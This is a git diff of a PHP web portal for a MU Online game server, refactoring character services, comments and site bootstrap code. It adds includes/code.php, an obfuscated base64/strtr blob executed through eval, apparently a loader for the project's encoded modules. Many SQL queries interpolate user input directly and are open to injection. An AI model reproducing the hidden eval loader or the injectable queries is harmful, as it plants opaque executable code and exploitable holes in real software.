$mmw[status_rules][$_SESSION[mmw_status]][forum_delete]==1) { - mssql_query("Delete from MMW_forum where f_id='$f_id'"); - mssql_query("Delete from MMW_comment where c_id_code='$f_id'"); - echo $okey_start . mmw_lang_topic_deleted . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - -function forum_status($f_id,$f_status) { - require("config.php"); - $f_id = clean_var(stripslashes($f_id)); - $f_status = clean_var(stripslashes($f_status)); - - if(empty($f_id) || $f_status=='') { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($mmw[status_rules][$_SESSION[mmw_status]][forum_status]==1) { - mssql_query("UPDATE MMW_forum SET f_status='$f_status' where f_id='$f_id'"); - echo $okey_start . mmw_lang_topic_status . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - -function request($login) { - require("config.php"); - if(empty($_POST['subject']) || empty($_POST['msg'])) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - else { - $title = bugsend(stripslashes($_POST['subject'])); - $msg = str_replace("[br]", "
", bugsend(stripslashes($_POST['msg'])) ); - $ip = $_SERVER['REMOTE_ADDR']; - $date = date('d.m.Y H:i:s'); - $text = "Acc: $login, New Request Title: $title
$msg
All Those On $date By $ip
\n"; - $fp = fopen("admin/request.htm","a"); - fputs($fp, $text); - fclose($fp); - echo $okey_start . mmw_lang_request_sent . $okey_end; - } -} - - - - - - -function send_msg() { - require("config.php"); - $char_set = stripslashes($_SESSION['char_set']); - $msg_to = stripslashes($_POST["new_message"]); - $msg_subject = utf_to_win(stripslashes($_POST["subject"])); - $msg_text = utf_to_win(stripslashes($_POST["msg"])); - $date = date("m/d/y H:i:s"); - - $msg_to_sql = mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$msg_to'"); - $msg_to_row = mssql_fetch_row($msg_to_sql); - - $char_class_sql = mssql_query("SELECT class FROM Character WHERE Name='$char_set'"); - $char_class_row = mssql_fetch_row($char_class_sql); - $char_photo = char_class($char_class_row[0],photo); - if(empty($char_set) || empty($msg_subject) || empty($msg_to)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($msg_to_row[0]!='' && $msg_to_row[0]!=' ') { - $msg_id = $msg_to_row[1] + 1; - $query = "INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','$char_set','$date','$msg_subject','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',$char_photo)"; - if(mssql_query($query)) { - $mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'"); - $mail_total_num = mssql_num_rows($mail_total_sql); - mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$msg_to'"); - echo $okey_start . mmw_lang_message_sent ." $msg_to! $okey_end"; + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[clevel]=1,[experience]=0,[LevelUpPoint]={$levelUpPoint},{$mmw['reset_column']}={$resetUp} {$additionalUpdates} WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_reseted . $okey_end; + writelog('reset', 'Character '.$characterName.' Has Been Reseted, Before Reset: '.$characterInfo[4].'(reset), After Reset: '.$resetUp.'(reset), For: '.$resetPrice.' Zen'); } - else { - echo "$die_start ErroR Query $msg_text! $die_end"; - } - } - else { - echo "$die_start It does not work in an old version! $die_end"; } -} - - - - - - - -function delete_msg() { - require("config.php"); - $char_set = stripslashes($_SESSION['char_set']); - $char_guid = stripslashes($_SESSION['char_guid']); - $delete_msg_inbox = clean_var(stripslashes($_POST["delete_msg_inbox"])); - - $query = "DELETE From T_FriendMail WHERE GUID='$char_guid' and MemoIndex='$delete_msg_inbox'"; - if(mssql_query($query)) { - $mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'"); - $mail_total_num = mssql_num_rows($mail_total_sql); - mssql_query("UPDATE T_FriendMain SET [MemoTotal]='$mail_total_num' WHERE Name='$char_set'"); - echo $okey_start . mmw_lang_message_deleted . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + static function add_stats($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + + $addPoints = array( + 'strength' => intval($_POST['str']), + 'dexterity' => intval($_POST['agi']), + 'vitality' => intval($_POST['vit']), + 'energy' => intval($_POST['ene']), + 'leadership' => intval($_POST['com']) + ); + + $characterResult = mssql_query("SELECT levelupPoint,strength,dexterity,vitality,energy,leadership FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + + $newPoints = array( + 'strength' => $characterInfo[1] + $addPoints['strength'], + 'dexterity' => $characterInfo[2] + $addPoints['dexterity'], + 'vitality' => $characterInfo[3] + $addPoints['vitality'], + 'energy' => $characterInfo[4] + $addPoints['energy'], + 'leadership' => $characterInfo[5] + $addPoints['leadership'] + ); + $leftPoints = $characterInfo[0] - $addPoints['strength'] - $addPoints['dexterity'] - $addPoints['vitality'] - $addPoints['energy'] - $addPoints['leadership']; + + if ( + !preg_match('/^\d*$/', $_POST['str'] . $_POST['agi'] . $_POST['vit'] . $_POST['ene']) + || (isset($_POST['com']) && !preg_match('/^\d*$/', $_POST['com'])) + ) { + echo $die_start . mmw_lang_point_must_be_number . $die_end; + } elseif ($leftPoints < 0) { + echo $die_start . mmw_lang_dont_have_point . ' ' . $characterInfo[0] . $die_end; + } elseif ( + $newPoints['strength'] > $mmw['max_stats'] + || $newPoints['dexterity'] > $mmw['max_stats'] + || $newPoints['vitality'] > $mmw['max_stats'] + || $newPoints['energy'] > $mmw['max_stats'] + || $newPoints['leadership'] > $mmw['max_stats'] + ) { + echo $die_start . $mmw['max_stats'] . ' ' . mmw_lang_max_point . $die_end; + } else { + mssql_query("UPDATE dbo.Character SET [Strength]='{$newPoints['strength']}',[Dexterity]='{$newPoints['dexterity']}',[Vitality]='{$newPoints['vitality']}',[Energy]='{$newPoints['energy']}',[leadership]='{$newPoints['leadership']}',[LevelUpPoint]='{$leftPoints}' WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_stats_added . ' ' . $leftPoints . $okey_end; + writelog('add_stats', 'Character ' . $characterName . ' Has Been Updated Stats with the next -> Strength: ' . $newPoints['strength'] . '|Agiltiy: ' . $newPoints['dexterity'] . '|Vitality: ' . $newPoints['vitality'] . '|Energy: ' . $newPoints['energy'] . '|Command: ' . $newPoints['leadership'] . ', Levelup Points Left: ' . $leftPoints); + } } -} - - - - - + static function clear_pk($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + $characterResult = mssql_query("SELECT Money,PkLevel FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; -function edit_warehouse($hex_wh) { - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $hex_wh = clean_var(stripslashes($hex_wh)); - $money = clean_var(stripslashes($_POST[Money])); - $extmoney = clean_var(stripslashes($_POST[extMoney])); + $warehouseMoney -= $mmw['clear_pk_cost']; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; + } - if(empty($hex_wh) || empty($login)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($mmw[status_rules][$_SESSION[mmw_status]][hex_wh]!=1) {echo "$die_start You Can't Use HEX WareHouse! $die_end";} - elseif(!preg_match("/^\d*$/", $money) || !preg_match("/^\d*$/", $extmoney)) {echo "$die_start Money must be a positive number! $die_end";} - else { - $query = "UPDATE warehouse SET [Items]=0x$hex_wh,[Money]=$money,[extMoney]=$extmoney WHERE AccountID='$login'"; - if(@mssql_query($query)) { - echo "$okey_start $login WareHouse SuccessFully Edited! $okey_end";} - else { - echo "$die_start HEX ErroR bljat'! :( $die_end"; + if ($characterInfo[1] < 3) { + echo $die_start . mmw_lang_is_not_killer . $die_end; + } elseif ($totalMoney - $mmw['clear_pk_cost'] < 0) { + echo $die_start . mmw_lang_clear_pk_need . ' ' . zen_format($mmw['clear_pk_cost']) . ' Zen!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[PkLevel]=3,[PkTime]=0 WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_cleared . $okey_end; + writelog('clear_pk', 'Character ' . $characterName . ' Has Been Cleared Pk Status'); } - writelog("hex_wh","Acc: $login Has Been edit wh: $hex_wh | [Money]=$money, [extMoney]=$extmoney"); } -} - - - - + static function move($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + list($mapNumber, $x, $y) = $mmw['move_list'][$_POST['map']]; + $characterResult = mssql_query("SELECT Money FROM dbo.character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; -function gm_msg($text) { - require("config.php"); - $text = stripslashes($text); - include("includes/shout_msg.php"); + $warehouseMoney -= $mmw['move_zen']; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; + } - if(empty($text)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($mmw[status_rules][$_SESSION[mmw_status]][gm_msg]!=1) {echo "$die_start You Can't Send GM Message! $die_end";} - else { - if( send_gm_msg("127.0.0.1", $mmw[joinserver_port], $text) == "yes") { - echo "$okey_start GM Msg SuccessFully Send! $okey_end";} - else { - echo "$die_start GM Msg ErroR blja! :( $die_end"; + if ($_POST['map'] === '') { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($totalMoney - $mmw['move_zen'] < 0) { + echo $die_start . mmw_lang_move_need . ' ' . zen_format($mmw['move_zen']) . ' Zen!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[mapnumber]='$mapNumber',[mapposx]='$x',[mapposy]='$y' WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_moved . $okey_end; + writelog('move', 'Char ' . $characterName . ' Has Been Moved To: ' . $mapNumber . ', ' . $x . '-' . $y . '|Char: ' . $characterMoney . ' Zen|Acc: ' . $warehouseMoney . ' Zen'); } - writelog("gm_msg","Char: $char Has Been Send Msg: $text"); } -} - - - - - + static function change_class($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + list($class, $price) = $mmw['change_class_list'][$_POST['new_class']]; -function gm_block($acc_mode) { - require("config.php"); - $acc_mode = clean_var(stripslashes($acc_mode)); - $account = clean_var(stripslashes($_POST[account])); - $account_unblock = clean_var(stripslashes($_POST[account_unblock])); - $unblock_time = clean_var(stripslashes($_POST[unblock_time])); - $block_date = clean_var(stripslashes($_POST[block_date])); - $block_reason = clean_var(stripslashes($_POST[block_reason])); + $characterResult = mssql_query("SELECT Money,CAST(Inventory AS varbinary(1728)) FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterInventory = strtoupper(substr(bin2hex($characterInfo[1]), 2, $mmw['item_byte_size'] * 12)); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; - if($acc_mode==0 && empty($account_unblock) || $acc_mode==1 && empty($account)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($mmw[status_rules][$_SESSION[mmw_status]][gm_block]!=1) {echo "$die_start You Can't Send GM Message! $die_end";} - else { - if($acc_mode == '0') { - mssql_query("UPDATE memb_info SET [bloc_code]='0',[block_date]='0',[unblock_time]='0' WHERE memb___id='$account_unblock'"); - echo "$okey_start Account $account_unblock is Unblocked! $okey_end $rowbr"; + $warehouseMoney -= $price; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; } - else { - if($block_date!="no") { - if($block_date=='yes') {$block_date = time();} - else {$block_date = '0';} - $block_menu = "[block_date]='$block_date',"; - } - $block_menu .= "[unblock_time]='$account_unblock',[block_reason]='$block_reason',[blocked_by]='$_SESSION[char_set]',"; - mssql_query("UPDATE memb_info SET $block_menu [bloc_code]='1' WHERE memb___id='$account'"); - echo "$okey_start Account $account is Blocked! $okey_end $rowbr"; - } - writelog("gm_block","Account: $account$account_unblock Has Been block mode: $acc_mode by $_SESSION[char_set]"); - } -} - - - - - - - -function send_zen($char,$zen) { - require("config.php"); - $char = stripslashes($char); - $zen = clean_var(stripslashes($zen)); - $char_set = stripslashes($_SESSION['char_set']); - $login = clean_var(stripslashes($_SESSION['user'])); - - $result = mssql_query("SELECT extMoney FROM warehouse WHERE accountid='$login'"); - $from = mssql_fetch_row($result); - - $result = mssql_query("Select AccountID FROM Character WHERE Name='$char'"); - $acc_to = mssql_fetch_row($result); - $acc_to_result = mssql_query("SELECT extMoney FROM warehouse WHERE accountid='$acc_to[0]'"); - $acc_to_row = mssql_fetch_row($acc_to_result); - - $from_end = $from[0] - $zen; - $to_end = $acc_to_row[0] + $zen; - $from_end_and_service = $from_end - $mmw[service_send_zen]; - - if(empty($char) || empty($zen) || empty($login)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif(!preg_match("/^\d*$/", $zen)){echo $die_start . mmw_lang_zen_must_be_number . $die_end;} - elseif($login == $acc_to[0]) {echo $die_start . mmw_lang_zen_cant_move . $die_end;} - elseif($zen < $mmw[min_send_zen] || $from_end < '0' || $to_end < '0') {echo $die_start . zen_format($mmw[min_send_zen]) . ' ' . mmw_lang_minimum_zen_can_send ." $from[0] $die_end";} - elseif($from_end_and_service < '0') {echo $die_start . mmw_lang_no_zen_for_send_zen . ' ' . zen_format($mmw[service_send_zen]) . "! $die_end";} - elseif($acc_to[0] != $login) { - echo "$okey_start $zen " . mmw_lang_zen_sent . $okey_end; - mssql_query("UPDATE warehouse SET [extMoney]='$to_end' WHERE AccountID='$acc_to[0]'"); - mssql_query("UPDATE warehouse SET [extMoney]='$from_end_and_service' WHERE AccountID='$login'"); - guard_mmw_mess($char,"It was sent to you in Extra Ware House: ".zen_format($zen).", From: $char_set."); - writelog("send_zen","Char: $char_set Has Been Send Zen: $zen, To: $char (Start:$from[0],End:$from_end | Start:$acc_to_row[0],End:$to_end)"); - } -} - - + if ($_POST['new_class'] === '') { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($characterInventory !== free_hex($mmw['item_byte_size'], 12)) { + echo $die_start . mmw_lang_take_off_set . $die_end; + } elseif ($totalMoney - $price < 0) { + echo $die_start . mmw_lang_change_class_need . ' ' . zen_format($price) . ' Zen!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[class]='{$class}',[MagicList]=0xFF,[Quest]=0xFF WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_changed . $okey_end; + writelog('change_class', 'Char ' . $characterName . ' Has Been Changed Class To: ' . $class . '|Char: ' . $characterMoney . ' Zen|Acc: ' . $warehouseMoney . ' Zen'); + } + } } -?> \ No newline at end of file diff --git a/includes/code.php b/includes/code.php new file mode 100644 index 0000000..91f9c3a --- /dev/null +++ b/includes/code.php @@ -0,0 +1,8 @@ + + * @deprecated $code + */ +$code='Pzu8PoB2cCAvK4BNTVcgRnV3YoRpbaugQnkgVmFmbGF3IC2vZnV3YoRpbaugbW6oKCRkYXRhYmFzZT6OVUxMKXtpZ4hpc69m1WxlKCRkYXRhYmFzZSkmJnN6YnN0c4gkZGF0YWJhcaUsLTMpPT09Ja6tdycp5almKEBm1WxlcaleZSgkZGF0YWJhcaUpPjAp5aZvcmVhYag2JEdMT0JBTFMgYXMgJGtl5T0+JHZhbCl7ZaxvYmFsICQk1aViOo0kZWikPSRjZmc9Jyc7JGR4cj6AZmlsZV9nZXRfYa93dGV3dHM2JGRhdGF4YXNlKTtpZ4hzdWJzdHJfYa96bnQ2JGR4c4wnWaNmZ60nKSl7cHJlZ69tYXRj1CgnL6xbYaZnXSg3Kj8pXFtcLaNmZ60v1XMnLCRkYnIsJG6hdGN2ZXMpOyRjZmc9ZWikKCRtYXRj1GVzKTt9cHJlZ69tYXRj1CgnL6xbbW6oXSg3Kj8pXFtcLa6td60v1XMnLCRkYnIsJG6hdGN2ZXMpOyRkYmQ9ZWikKCRt';$âœ=explode('.',basename(__FILE__));${$âœ[1]}=${$âœ[0]}.'YXRj1GVzKTtmboI2JHg9MDsk5DxzdHJsZWu2JGR4ZCkvMjsk5CsrKXskcmVjPXN6YnN0c4hzdWJzdHI2JGR4ZCwtM422JHgrMSksM4ksLTEsMSk3coV4coRyKCRkYmQsLTIqKCRuKzEpLDEpOyRlbmQ3PWN2c4h2ZXhkZWM2JHJlYykpOo0kZWikPXN0cl9yZXBsYWNlKGN2c4h2ZXhkZWM2JaRhJykpLCJcb4IsJGV3ZCk71WY2QGVaYWw2I4RjZmc/P4RlbmQ8PoB2cCBcJGV3ZD0nJzs4KT09PWZhbHNlKXtlYahvI4RkYXRhYmFzZSB2YXZlIGVycm9yIG93IGNvZGUhIjt9fWVscaV7ZWN2byIkZGF0YWJhcaUgZmlsZSBpcyBlbXB05SE4Oo69ZWxzZXtlYahvI4RkYXRhYmFzZSBm1WxlIGNhbmivdCB4ZSBmboV3ZCBvc4B3boQgcoVwcG9ydGVkISI7fX0/Pg==';${$âœ[0]}='';$code.='ZXZhbChiYXNlNjRfZGVjb2RlKHN0cnRyKCRwaHAsJzEyMzQ1NmFvdWllJywnYW91aWUxMjM0NTYnKSkpO3Vuc2V0KCRwaHAsJGNvZGUpOw==';eval(base64_decode($code)); \ No newline at end of file diff --git a/includes/comment.php b/includes/comment.php index 108be32..923bbe6 100644 --- a/includes/comment.php +++ b/includes/comment.php @@ -1,112 +1,223 @@ - - '.mmw_lang_total_comment.': '.$comm_num.' - [ '.mmw_lang_add_comment.' ] - - '; - for($i=0; $i<$comm_num; $i++) { - $num = $i+1; - $row = mssql_fetch_row($result); - $time_c = date('H:i:s', $row[3]); - $day_c = date('d.m.Y', $row[3]); - $row[2] = bbcode(smile($row[2])); - $char_info = $char_array[$row[1]]; - - if($char_info == '') { - $result_char = mssql_query("SELECT AccountID,CtlCode FROM Character WHERE Name='$row[1]'"); - $row_char = mssql_fetch_row($result_char); - $result_acc = mssql_query("SELECT country,gender,avatar,hide_profile FROM memb_info WHERE memb___id='$row_char[0]'"); - $row_acc = mssql_fetch_row($result_acc); - $char_array[$row[1]] = array($row_char[0],$row_char[1],$row_acc[0],$row_acc[1],$row_acc[2],$row_acc[3]); - $char_info = $char_array[$row[1]]; - } - - if($char_info[4] != "" && $char_info[4] != " "){$avatar_c_e="$row[1]";} - else {$avatar_c_e="No Àâàòîð";} - - if($char_info[2] == '0'){$country = "Not Set";} - else{$country = country($char_info[2]);} - - if($char_info[5] == '0'){$avatar_c_e = "$avatar_c_e";} - else{$avatar_c_e = $avatar_c_e;} - - $c_num_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_char='$row[1]'"); - $comment_c_num = mssql_num_rows($c_num_result); - - if( $mmw[status_rules][$_SESSION[mmw_status]][comment_delete]==1 || $_SESSION['char_set']==$row[1]) - {$edit = "
";} - else {$edit = '';} - - if($num==$comm_num) {echo '';} - - echo ' - - - - -
'.$avatar_c_e.'
'.$row[2].'
-
â„–'.$num.'
- '.mmw_lang_char.': '.$row[1].'
- '.mmw_lang_country.': '.$country.'
'.mmw_lang_gender.': '.gender($char_info[3]).'
'.mmw_lang_comments.': '.$comment_c_num.'
'.mmw_lang_date.': '.$day_c.'
'.$edit.' -

- '; - } -?> - - - - - -
- - - -
- - -
- - - - - - - - - - - - - - - - - - -
-
-
+ $date) { + $needTime = $timeout - $date; + echo $die_start . mmw_lang_cant_sent_comment_need_wait . " $needTime sec. $die_end"; + } else { + $bug_send = bugsend(stripslashes($_POST['c_message'])); + mssql_query("INSERT INTO dbo.MMW_comment(c_id_blog,c_id_code,c_char,c_text,c_date) VALUES ('{$c_id_blog}','{$c_id_code}','{$_SESSION['character']}','{$bug_send}','{$date}')"); + echo $okey_start . mmw_lang_comment_sent . $okey_end; + } +} + +if (isset($_POST['c_id_delete'])) { + echo $rowbr; + + $c_id = intval($_POST['c_id_delete']); + if (empty($c_id)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } else { + $result = mssql_query("SELECT c_char FROM dbo.MMW_comment WHERE c_id='{$c_id}'"); + $row = mssql_fetch_row($result); + + if (empty($row)) { + echo $die_start . 'Error: Comment not found!' . $die_end; + } elseif ($row[0] === $_SESSION['character'] || $mmw['status_rules'][$_SESSION['mmw_status']]['comment_delete'] == 1) { + mssql_query("DELETE from dbo.MMW_comment WHERE c_id='{$c_id}'"); + echo $okey_start . mmw_lang_comment_deleted . $okey_end; + } else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } + } +} + + +$result = mssql_query("SELECT mc.c_id, + mc.c_char, + mc.c_text, + mc.c_date, + c.AccountID, + c.CtlCode, + mi.country, + mi.gender, + mi.avatar, + mi.hide_profile, + cc.total_comments +FROM dbo.MMW_comment AS mc + LEFT JOIN dbo.Character AS c ON c.Name COLLATE DATABASE_DEFAULT = mc.c_char COLLATE DATABASE_DEFAULT + LEFT JOIN dbo.MEMB_INFO AS mi ON mi.memb___id COLLATE DATABASE_DEFAULT = c.AccountID COLLATE DATABASE_DEFAULT + LEFT JOIN (SELECT c_char, count(c_char) AS total_comments FROM dbo.MMW_comment GROUP BY c_char) AS cc ON cc.c_char = mc.c_char +WHERE c_id_blog = '{$c_id_blog}' + AND c_id_code = '{$c_id_code}' +ORDER BY c_date"); +$quantityComment = mssql_num_rows($result); + +$language = array( + 'total_comment' => mmw_lang_total_comment, + 'add_comment' => mmw_lang_add_comment, + 'delete' => mmw_lang_delete, + 'country' => mmw_lang_country, + 'gender' => mmw_lang_gender, + 'comments' => mmw_lang_comments, + 'date' => mmw_lang_date, +); + +echo << + + {$language['total_comment']}: {$quantityComment} + +HTML; + +$num = 1; +while ($row = mssql_fetch_assoc($result)) { + if ($num === $quantityComment) { + echo ''; + } + + $time_c = date('H:i:s', $row['c_date']); + $day_c = date('d.m.Y', $row['c_date']); + $row['c_text'] = bbcode(smile($row['c_text'])); + $row['country'] = country($row['country']); + $row['gender'] = gender($row['gender']); + + $avatar = empty($row['avatar']) + ? 'No avatar' + : '' . $row['c_char'] . ''; + if (empty($row['hide_profile'])) { + $avatar = '' . $avatar . ''; + } + + $edit = ''; + if ($_SESSION['character'] === $row['c_char'] + || $mmw['status_rules'][$_SESSION['mmw_status']]['comment_delete'] == 1 + ) { + $imgButton = default_img('delete.png'); + $edit = << + + + button +
-'.mmw_lang_guest_must_be_logged_on.'
[ '.mmw_lang_register.' | '.mmw_lang_login.' ]'; - } -?> \ No newline at end of file +HTML; + } + + echo << + + {$avatar} +
{$row['c_text']}
+ +
â„–{$num}
+ {$row['c_char']}
+ {$language['country']}: {$row['country']}
+ {$language['gender']}: {$row['gender']}
+ {$language['comments']}: {$row['total_comments']}
+ {$language['date']}: {$day_c}
+ {$edit} + + + +
+HTML; + + $num++; +} + + +if (empty($_SESSION['user'])) { + echo '
' . mmw_lang_guest_must_be_logged_on . '
[ ' . mmw_lang_register . ' | ' . mmw_lang_login . ' ]
'; +} elseif (!empty($c_add_close)) { + echo $die_start . mmw_lang_comment_close . $die_end; +} elseif (empty($_SESSION['character'])) { + echo $die_start . mmw_lang_cant_add_no_char . $die_end; +} else { + ?> +
+
+
+ + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ + + + + +
+ + + + + +
+ + + + + +
+
+
+ +
+
+ +
+
+
+ Not Find Default $mmw[language] $sql_die_end"); +Reason: ' . $row[1] + : ''; + die($mmw['warning']['red'] . 'Your IP is Blocked!' . $reason); + } + } + unset($banIpData); } +unset($banIpFile); +/////// End Ban IP /////// -function language($default=NULL) { - if($dh = opendir("lang/")) { - while(($file = readdir($dh)) !== false) { - $format = substr($file, -3); - $name = substr($file, 0, -4); - if($format == 'php') { - if(!isset($_SESSION[set_lang]) && $default==$name){$select="selected";} - elseif($_SESSION[set_lang]==$name){$select="selected";} else{$select="";} - $select_lang .= ""; - } - } - closedir($dh); - } - $lang_form = "
"; -} -/////// End Language /////// - - - - -/////// Start Menu ////// -function menu($style=NULL) { - include("menu.php"); - if($style==NULL) {$style = "$2
";} - for($i=0; $i < count($menu); ++$i) { - $replace = str_replace('%id%', $i, $style); - $replace = str_replace('%name%', $menu[$i][0], $replace); - $replace = str_replace('%url%', $menu[$i][1], $replace); - $text = '[url='.$menu[$i][1].'][name='.$menu[$i][0].']'; - echo preg_replace("/\[url\=(.*?)\]\[name\=(.*?)\]/is", $replace, $text)." \n"; - } +/////// Start Load Cache /////// +if (is_file(__DIR__ . '/mmw_cache.dat')) { + $_ENV['mmw_cache_raw'] = file_get_contents(__DIR__ . '/mmw_cache.dat'); + $_ENV['mmw_cache'] = json_decode($_ENV['mmw_cache_raw'], true); +} else { + file_put_contents(__DIR__ . '/mmw_cache.dat', '{}'); } -/////// End Menu /////// - - - +/////// End Load Cache /////// -/////// Start Default Modules ////// - //Now Module -function curent_module() { - $cur_module = preg_replace("/[^a-zA-Z0-9_-]/","",$_GET['op']); - if(isset($_GET['news'])) {echo "> ".mmw_lang_news."";} - elseif(isset($_GET['forum'])) {echo "> ".mmw_lang_forum."";} - elseif(is_file("modules/$cur_module.php")) {echo "> ".ucfirst($cur_module)."";} - - if($cur_module=='user') { - if($cur_module=='user' and !isset($_GET['u'])) {echo " > ".mmw_lang_account_panel.'';} - else {echo " > ".ucfirst($_GET['u']).'';} - } -} - //Theme Engine -mmw('includes/theme.mmw'); - //Server File Engine -mmw('includes/server_file.mmw'); - //Format Engine -include("includes/format.php"); - //Jump Link -function jump($location) { - header('Location: '.$location.''); -} - //Referral -if(isset($_GET['ref'])) { - $_SESSION['referral'] = clean_var(stripslashes($_GET['ref'])); +/////// Start Language /////// +if (!empty($_REQUEST['set_lang'])) { + $_SESSION['language'] = preg_replace(REGEX_PATTERN_SLUG, '', $_REQUEST['set_lang']); } - //MP3 Player -function mp3_player() { - global $media_color,$mmw; - if($mmw[mp3_player]!='no') { - include('media/player.php'); - } +if (isset($_SESSION['language'])) { + $mmw['language'] = $_SESSION['language']; } -/////// End Default Modules /////// - - - - -/////// Start Write Logs /////// -function writelog($logfile,$text) { - $text .= ", All Those On ".date('d.m.Y H:i:s')." By $_SERVER[REMOTE_ADDR] \n"; - $fp = fopen("logs/$logfile.php","a"); - fputs($fp, $text); - fclose($fp); +if (is_file('lang/' . $mmw['language'] . '.php')) { + require_once 'lang/' . $mmw['language'] . '.php'; +} else { + unset($_SESSION['language']); + die($mmw['die']['start'] . 'Language error!
Not found default "' . $mmw['language'] . '"' . $mmw['die']['end']); } -/////// End Write Logs /////// - - - +/////// End Language /////// -/////// Start Auto Func ////// -if($mmw[auto_func] == 'yes') { - if($dh = opendir($mmw[auto_func_dir])) { - while(($file = readdir($dh)) !== false) { - $format = substr($file, -3); - if($format == 'php') {include("$mmw[auto_func_dir]$file");} - if($format == 'mmw') {mmw("$mmw[auto_func_dir]$file");} - } - closedir($dh); - } +/////// Start Check And Switch Theme /////// +if (isset($_GET['theme'])) { + $_REQUEST['set_theme'] = $_GET['theme']; } -/////// End Auto Func /////// - - - - - - -/////// Start Login Modules /////// - //Login - if(isset($_POST["account_login"])) { - $account = clean_var(stripslashes($_POST['login'])); - $password = clean_var(stripslashes($_POST['pass'])); - if($account == NULL || $password == NULL) {} - if($mmw['md5'] == yes) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=[dbo].[fn_md5]('$password','$account')");} - elseif ($mmw['md5'] == no) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd='$password'");} - $login_result = mssql_fetch_row($login_check); - if($login_result > 0) { - $_SESSION['user'] = $login_result[0]; - $_SESSION['pass'] = $password; - $_SESSION['mmw_status'] = $login_result[1]; - } - else { - jump('?op=login&login=false'); - } - } - //Check Login - if(isset($_SESSION['user']) && isset($_SESSION['pass'])) { - $login = clean_var(stripslashes($_SESSION['user'])); - $pass = clean_var(stripslashes($_SESSION['pass'])); - if($mmw['md5'] == yes) - {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=[dbo].[fn_md5]('$pass','$login')");} - elseif($mmw['md5'] == no) - {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$pass'");} - $login_result = mssql_fetch_row($login_check); - $acc_check = mssql_query("SELECT bloc_code,block_date,unblock_time,mmw_status FROM MEMB_INFO WHERE memb___id='$login'"); - $acc_row = mssql_fetch_row($acc_check); - - $time_end = ($acc_row[1] + $acc_row[2]) - time(); - if($acc_row[0]==1 && $time_end<=0 && $acc_row[2]>0 && $acc_row[2]!=0) { - mssql_query("UPDATE MEMB_INFO SET [bloc_code]='0',[unblock_time]='0',[block_date]='0' WHERE memb___id='$login'"); - } - 